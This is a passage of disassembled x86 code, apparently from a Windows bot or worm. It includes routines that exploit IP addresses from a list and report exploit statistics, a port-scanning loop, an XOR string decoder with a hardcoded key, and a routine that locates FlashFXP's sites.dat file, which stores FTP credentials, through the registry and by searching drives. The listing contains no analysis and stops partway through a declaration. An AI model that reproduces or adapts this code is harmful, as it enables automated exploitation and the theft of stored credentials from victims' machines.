		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	[ebp+var_4]
		push	offset sub_413CB3
		call	sub_4095A4
		add	esp, 10h

locret_414050:				; CODE XREF: sub_413FE7+Aj
					; sub_413FE7+20j
		leave
		retn
sub_413FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414052	proc near		; DATA XREF: sub_41417D+35o

var_3C0		= dword	ptr -3C0h
var_3BC		= byte ptr -3BCh
var_225		= byte ptr -225h
var_224		= byte ptr -224h
var_218		= byte ptr -218h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3C0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset aExploitStatist ; "Exploit statistics - "
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_204], 0
		jmp	short loc_4140A4
; ---------------------------------------------------------------------------


loc_414097:				; CODE XREF: sub_414052:loc_41414Aj
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax


loc_4140A4:				; CODE XREF: sub_414052+43j
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		movsx	eax, ds:byte_41CD80[eax]
		test	eax, eax
		jz	loc_41414F
		push	12h
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		add	eax, offset byte_41CD80
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		push	ds:dword_41CDAA[eax]
		push	offset dword_41D054
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		movsx	eax, [ebp+var_225]
		test	eax, eax
		jz	short loc_41414A
		mov	eax, [ebp+var_204]
		imul	eax, 3Ah
		and	ds:dword_41CDAA[eax], 0


loc_41414A:				; CODE XREF: sub_414052+E6j
		jmp	loc_414097
; ---------------------------------------------------------------------------


loc_41414F:				; CODE XREF: sub_414052+64j
		and	[ebp+var_224], 0
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		push	[ebp+var_3C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_414052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41417D	proc near		; CODE XREF: sub_40A9CF+BF4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414197
		jmp	short locret_4141BF
; ---------------------------------------------------------------------------


loc_414197:				; CODE XREF: sub_41417D+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	[ebp+var_4]
		push	offset sub_414052
		call	sub_4095A4
		add	esp, 10h

locret_4141BF:				; CODE XREF: sub_41417D+18j
		leave
		retn
sub_41417D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141C1	proc near		; DATA XREF: sub_4142BF+E2o

var_2BC		= dword	ptr -2BCh
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1B2		= dword	ptr -1B2h
var_1AE		= byte ptr -1AEh
var_16		= byte ptr -16h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	[ebp+var_1B2]
		push	0
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41424F
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D100
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41424F:				; CODE XREF: sub_4141C1+56j
		movsx	eax, [ebp+var_16]
		test	eax, eax
		jnz	short loc_4142AD
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1B2]
		jb	short loc_41428B
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D0C8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_4142AD
; ---------------------------------------------------------------------------


loc_41428B:				; CODE XREF: sub_4141C1+A4j
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		push	offset dword_41D098
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4142AD:				; CODE XREF: sub_4141C1+8Cj
					; sub_4141C1+94j ...
		push	[ebp+var_2BC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4141C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142BF	proc near		; CODE XREF: sub_40A9CF+1B5Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4142D0
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: sub_4142BF+Aj
		cmp	[ebp+arg_8], 0
		jnz	short loc_4142DD
		mov	[ebp+arg_8], offset a80	; "80"


loc_4142DD:				; CODE XREF: sub_4142BF+15j
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4142F8
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_4142FD


loc_4142F8:				; CODE XREF: sub_4142BF+2Ej
		jmp	locret_4143AE
; ---------------------------------------------------------------------------


loc_4142FD:				; CODE XREF: sub_4142BF+37j
		cmp	[ebp+arg_C], 0
		jz	short loc_414311
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_414318
; ---------------------------------------------------------------------------


loc_414311:				; CODE XREF: sub_4142BF+42j
		mov	[ebp+var_10], 0EA60h


loc_414318:				; CODE XREF: sub_4142BF+50j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41432D
		cmp	[ebp+var_4], 36EE80h
		jbe	short loc_41432F


loc_41432D:				; CODE XREF: sub_4142BF+63j
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_41432F:				; CODE XREF: sub_4142BF+6Cj
		push	2B1h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_414345
		jmp	short locret_4143AE
; ---------------------------------------------------------------------------


loc_414345:				; CODE XREF: sub_4142BF+82j
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_C]
		add	eax, 104h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	[eax+10Ah], ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 10Eh
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41D130
		push	0
		push	[ebp+var_C]
		push	offset sub_4141C1
		call	sub_4095A4
		add	esp, 18h

locret_4143AE:				; CODE XREF: sub_4142BF+Cj
					; sub_4142BF:loc_4142F8j ...
		leave
		retn
sub_4142BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B0	proc near		; DATA XREF: sub_414600+1D6o

var_2E8		= qword	ptr -2E8h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= byte ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= byte ptr -2BCh
var_1BC		= word ptr -1BCh
var_1BA		= word ptr -1BAh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_18		= byte ptr -18h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	ax, [ebp+var_1BC]
		mov	[ebp+var_C], ax
		push	[ebp+var_1B4]
		call	sub_404D10
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41440C
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4145FC
; ---------------------------------------------------------------------------


loc_41440C:				; CODE XREF: sub_4143B0+47j
		push	[ebp+var_1B4]
		movzx	eax, [ebp+var_1BA]
		push	eax
		movzx	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		mov	eax, [ebp+var_2C0]
		push	dword ptr [eax]
		push	offset dword_41D1A0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_414458
		push	3E8h
		call	ds:dword_41709C	; Sleep


loc_414458:				; CODE XREF: sub_4143B0+9Bj
		call	sub_416B64	; clock
		mov	[ebp+var_2C4], eax
		and	[ebp+var_4], 0


loc_414467:				; CODE XREF: sub_4143B0+13Aj
					; sub_4143B0+1F0j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_414482
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jle	short loc_414487


loc_414482:				; CODE XREF: sub_4143B0+C1j
		jmp	loc_4145A5
; ---------------------------------------------------------------------------


loc_414487:				; CODE XREF: sub_4143B0+D0j
		push	0Ah
		lea	eax, [ebp+var_2CC]
		push	eax
		movzx	eax, [ebp+var_C]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+var_8]
		push	0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp+var_2D0], eax
		mov	ax, [ebp+var_C]
		add	ax, 1
		mov	[ebp+var_C], ax
		cmp	[ebp+var_2D0], 0
		jz	short loc_4144EF
		movzx	eax, [ebp+var_C]
		movzx	ecx, [ebp+var_1BA]
		cmp	eax, ecx
		jg	short loc_4144EF
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4144EF:				; CODE XREF: sub_4143B0+129j
					; sub_4143B0+138j
		push	[ebp+var_1B8]
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_414597


loc_41450C:				; CODE XREF: sub_4143B0+1E2j
		mov	eax, [ebp+var_2C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41451A
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_41451A:				; CODE XREF: sub_4143B0+166j
		push	[ebp+var_8]
		call	sub_404F24
		pop	ecx
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_414534
		jmp	short loc_414597
; ---------------------------------------------------------------------------


loc_414534:				; CODE XREF: sub_4143B0+180j
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2D8]
		call	sub_4045B2
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	al, [ebp+var_18]
		mov	[ebp+var_2D4], al
		and	[ebp+var_18], 0
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset dword_41D18C
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp+var_2D4]
		mov	[ebp+var_18], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		jmp	loc_41450C
; ---------------------------------------------------------------------------


loc_414597:				; CODE XREF: sub_4143B0+156j
					; sub_4143B0+168j ...
		push	[ebp+var_8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_414467
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: sub_4143B0:loc_414482j
		push	[ebp+var_4]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax
		fild	[ebp+var_2DC]
		fdiv	ds:flt_417270
		push	ecx
		push	ecx
		fstp	[esp+2E8h+var_2E8]
		lea	eax, [ebp+var_2BC]
		push	eax
		push	offset unk_41D150
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		push	[ebp+var_8]
		call	sub_404FD0
		pop	ecx
		push	[ebp+var_2C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4145FC:				; CODE XREF: sub_4143B0+57j
		leave
		retn	4
sub_4143B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414600	proc near		; CODE XREF: sub_40A9CF+C9Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		cmp	[ebp+arg_4], 0
		jz	short loc_414612
		cmp	[ebp+arg_8], 0
		jnz	short loc_414617


loc_414612:				; CODE XREF: sub_414600+Aj
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414617:				; CODE XREF: sub_414600+10j
		cmp	[ebp+arg_C], 0
		jnz	short loc_414623
		mov	eax, [ebp+arg_8]
		mov	[ebp+arg_C], eax


loc_414623:				; CODE XREF: sub_414600+1Bj
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41463E
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_414643


loc_41463E:				; CODE XREF: sub_414600+33j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414643:				; CODE XREF: sub_414600+3Cj
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_41465E
		cmp	[ebp+var_14], 0FFFFh
		jbe	short loc_414663


loc_41465E:				; CODE XREF: sub_414600+53j
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_414663:				; CODE XREF: sub_414600+5Cj
		push	2B3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41467C
		jmp	locret_4147E3
; ---------------------------------------------------------------------------


loc_41467C:				; CODE XREF: sub_414600+75j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jbe	short loc_414696
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax


loc_414696:				; CODE XREF: sub_414600+82j
		cmp	[ebp+arg_10], 0
		jz	short loc_4146AA
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_4146B1
; ---------------------------------------------------------------------------


loc_4146AA:				; CODE XREF: sub_414600+9Aj
		mov	[ebp+var_1C], 7D0h


loc_4146B1:				; CODE XREF: sub_414600+A8j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4146C6
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_4146CD


loc_4146C6:				; CODE XREF: sub_414600+BBj
		mov	[ebp+var_C], 7D0h


loc_4146CD:				; CODE XREF: sub_414600+C4j
		cmp	[ebp+arg_14], 0
		jz	short loc_4146E1
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_20], eax
		jmp	short loc_4146E8
; ---------------------------------------------------------------------------


loc_4146E1:				; CODE XREF: sub_414600+D1j
		mov	[ebp+var_20], 100h


loc_4146E8:				; CODE XREF: sub_414600+DFj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4146FD
		cmp	[ebp+var_10], 200h
		jbe	short loc_414704


loc_4146FD:				; CODE XREF: sub_414600+F2j
		mov	[ebp+var_10], 100h


loc_414704:				; CODE XREF: sub_414600+FBj
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_8]
		mov	[eax+104h], cx
		mov	eax, [ebp+var_4]
		mov	cx, word ptr [ebp+var_14]
		mov	[eax+106h], cx
		cmp	[ebp+var_C], 0EA60h
		jbe	short loc_414749
		mov	[ebp+var_24], 0EA60h
		jmp	short loc_41474F
; ---------------------------------------------------------------------------


loc_414749:				; CODE XREF: sub_414600+13Ej
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax


loc_41474F:				; CODE XREF: sub_414600+147j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+108h], ecx
		cmp	[ebp+var_10], 200h
		jbe	short loc_41476D
		mov	[ebp+var_28], 200h
		jmp	short loc_414773
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414600+162j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], eax


loc_414773:				; CODE XREF: sub_414600+16Bj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		mov	[eax+10Ch], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 110h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10Ch]
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+106h]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax+104h]
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		push	offset dword_41D1E8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_4143B0
		call	sub_4095A4
		add	esp, 20h

locret_4147E3:				; CODE XREF: sub_414600:loc_414612j
					; sub_414600:loc_41463Ej ...
		leave
		retn
sub_414600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147E5	proc near		; CODE XREF: sub_414A1E+373p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414816
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414816:				; CODE XREF: sub_4147E5+28j
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax


loc_41481E:				; CODE XREF: sub_4147E5:loc_4148BEj
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414842
		xor	eax, eax
		jmp	locret_4148CC
; ---------------------------------------------------------------------------


loc_414842:				; CODE XREF: sub_4147E5+54j
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_C]
		jl	short loc_414866
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax


loc_414866:				; CODE XREF: sub_4147E5+78j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_418B54
		push	[ebp+arg_4]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414899
		xor	eax, eax
		jmp	short locret_4148CC
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_4147E5+AEj
		mov	eax, [ebp+arg_4]
		inc	eax
		inc	eax
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148B2
		mov	[ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_4148B2:				; CODE XREF: sub_4147E5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4148BE
		jmp	short loc_4148C3
; ---------------------------------------------------------------------------


loc_4148BE:				; CODE XREF: sub_4147E5+D5j
		jmp	loc_41481E
; ---------------------------------------------------------------------------


loc_4148C3:				; CODE XREF: sub_4147E5+D7j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		push	1
		pop	eax

locret_4148CC:				; CODE XREF: sub_4147E5+2Cj
					; sub_4147E5+58j ...
		leave
		retn
sub_4147E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148CE	proc near		; CODE XREF: sub_414A1E+30p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 104h
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	0
		push	0
		push	0
		push	[ebp+var_14]
		call	ds:dword_41700C	; RegQueryValueExA
		mov	[ebp+var_10], eax
		push	[ebp+var_14]
		call	ds:dword_417028	; RegCloseKey
		cmp	[ebp+var_10], 0
		jnz	short loc_414971
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_414945
		jmp	loc_414A17
; ---------------------------------------------------------------------------


loc_414945:				; CODE XREF: sub_4148CE+70j
		push	offset aSites_dat ; "sites.dat"
		push	[ebp+var_18]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_18]
		add	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_18]
		add	eax, 9
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	locret_414A1C
; ---------------------------------------------------------------------------


loc_414971:				; CODE XREF: sub_4148CE+55j
					; sub_4148CE:loc_414A17j
		push	104h
		push	[ebp+arg_0]
		push	offset aProgramfiles ; "ProgramFiles"
		call	ds:dword_417104	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4149B0
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_4149B0:				; CODE XREF: sub_4148CE+DBj
		mov	eax, ds:dword_419398
		mov	[ebp+var_C], eax


loc_4149B8:				; CODE XREF: sub_4148CE+143j
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 5
		jz	short loc_414A02
		cmp	[ebp+var_1C], 2
		jz	short loc_414A02
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_414A02
		push	1
		pop	eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A02:				; CODE XREF: sub_4148CE+FBj
					; sub_4148CE+101j ...
		mov	al, byte ptr [ebp+var_C]
		add	al, 1
		mov	byte ptr [ebp+var_C], al
		movsx	eax, byte ptr [ebp+var_C]
		cmp	eax, 5Ah
		jnz	short loc_4149B8
		xor	eax, eax
		jmp	short locret_414A1C
; ---------------------------------------------------------------------------


loc_414A17:				; CODE XREF: sub_4148CE+72j
		jmp	loc_414971
; ---------------------------------------------------------------------------

locret_414A1C:				; CODE XREF: sub_4148CE+9Ej
					; sub_4148CE+E0j ...
		leave
		retn
sub_4148CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; DATA XREF: sub_414EB0+35o

var_5E0		= dword	ptr -5E0h
var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_544		= byte ptr -544h
var_4C4		= byte ptr -4C4h
var_444		= byte ptr -444h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= byte ptr -3B4h
var_334		= dword	ptr -334h
var_330		= byte ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_190		= byte ptr -190h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
